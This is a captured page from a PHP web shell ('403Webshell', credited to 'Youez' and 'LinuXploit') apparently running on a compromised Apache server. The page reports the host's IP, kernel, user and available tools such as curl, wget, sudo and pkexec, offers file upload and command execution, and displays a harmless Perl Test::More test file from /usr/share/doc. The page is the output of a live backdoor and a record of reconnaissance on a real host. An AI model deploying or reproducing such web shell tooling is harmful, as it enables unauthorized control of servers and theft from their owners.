403Webshell
Server IP : 68.178.202.69  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux 69.202.178.68.host.secureserver.net 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
User : ikioworld ( 1005)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Test-Simple-0.98/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Test-Simple-0.98/t/c_flag.t
#!/usr/bin/perl -w

# Test::More should not print anything when Perl is only doing
# a compile as with the -c flag or B::Deparse or perlcc.

# HARNESS_ACTIVE=1 was causing an error with -c
{
    local $ENV{HARNESS_ACTIVE} = 1;
    local $^C = 1;

    require Test::More;
    Test::More->import(tests => 1);

    fail("This should not show up");
}

Test::More->builder->no_ending(1);

print "1..1\n";
print "ok 1\n";


Youez - 2016 - github.com/yon3zu
LinuXploit